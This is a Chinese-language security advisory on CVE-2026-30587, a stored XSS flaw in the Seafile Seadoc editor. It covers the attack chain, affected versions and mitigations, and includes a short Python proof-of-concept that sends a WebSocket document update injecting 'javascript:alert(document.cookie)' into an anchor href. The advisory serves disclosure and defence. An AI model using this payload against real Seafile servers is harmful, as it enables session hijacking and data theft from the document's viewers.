IPBUF安全漏洞报告
English
CVE-2026-30587 CVSS 8.7 高危

CVE-2026-30587 Seafile Seadoc编辑器存储型XSS漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-30587
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Seafile Server

相关标签

Stored XSSSeafileSeadocWebSocketCVE-2026-30587Injection

漏洞概述

Seafile Server 13.0.15、13.0.16-pro、12.0.14及更早版本中存在多个存储型跨站脚本(XSS)漏洞。该漏洞源于Seadoc编辑器未能正确清理关于文档结构更新的WebSocket消息。经过身份验证的远程攻击者可以通过嵌入的Excalidraw白板的src属性或锚标签的href属性注入恶意JavaScript载荷。当受害者查看被污染的文档时,恶意脚本将在其浏览器中执行,可能导致会话劫持或敏感信息泄露。该漏洞已在13.0.17、13.0.17-pro和12.0.20-pro版本中修复。

技术细节

该漏洞位于Seafile的Seadoc编辑器组件中。由于应用程序在处理WebSocket消息以更新文档结构时,未对Excalidraw白板元素的src属性或锚标签(<a>)的href属性进行充分的HTML实体编码和过滤,导致攻击者可以注入任意JavaScript代码。攻击者首先需要登录Seafile账户(低权限),然后创建或编辑一个文档。通过篡改发送给服务器的WebSocket数据包,攻击者可以将恶意载荷嵌入到文档内容中。当其他用户打开该文档时,嵌入的恶意脚本会自动触发。由于这是一次存储型XSS攻击,恶意脚本会持久化存储在服务器端,影响所有访问该文档的用户。

攻击链分析

STEP 1
1. 获取访问权限
攻击者注册或使用已有的低权限账户登录Seafile服务器。
STEP 2
2. 创建恶意文档
攻击者打开Seadoc编辑器,创建或编辑一个文档。
STEP 3
3. 注入恶意载荷
攻击者拦截或修改WebSocket通信,在文档结构的更新消息中,将Excalidraw白板的src或超链接的href替换为包含JavaScript的恶意代码(如javascript:alert(1))。
STEP 4
4. 载荷持久化
服务器接收未经过滤的WebSocket消息并保存到数据库中,恶意代码被存储在服务器端。
STEP 5
5. 触发漏洞
当受害者(如管理员)打开该受感染的文档时,浏览器解析文档内容并执行注入的JavaScript脚本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets import json # Proof of Concept for CVE-2026-30587 # This script simulates sending a malicious WebSocket message to the Seadoc editor # to inject JavaScript via the href attribute of an anchor tag. async def send_payload(ws_url, session_token): headers = { "Cookie": f"seahub_session={session_token}" } async with websockets.connect(ws_url, extra_headers=headers) as websocket: # Construct a malicious document update payload # Injecting 'javascript:alert(1)' into an href attribute malicious_payload = { "type": "doc_update", "content": [ { "type": "anchor", "attrs": {"href": "javascript:alert(document.cookie)"}, "text": "Click Me" } ] } print("[+] Sending malicious payload...") await websocket.send(json.dumps(malicious_payload)) response = await websocket.recv() print(f"[+] Server response: {response}") if __name__ == "__main__": # Replace with actual target WebSocket URL and valid session token TARGET_WS = "wss://target-seafile-server/seadoc/ws/" SESSION_TOKEN = "valid_user_session_token" asyncio.run(send_payload(TARGET_WS, SESSION_TOKEN))

影响范围

Seafile Server <= 13.0.15
Seafile Professional Server <= 13.0.16-pro
Seafile Server <= 12.0.14

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Seadoc编辑器功能,或者部署Web应用防火墙(WAF)对WebSocket流量进行深度检测,过滤包含javascript:协议或可疑脚本标签的数据包。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表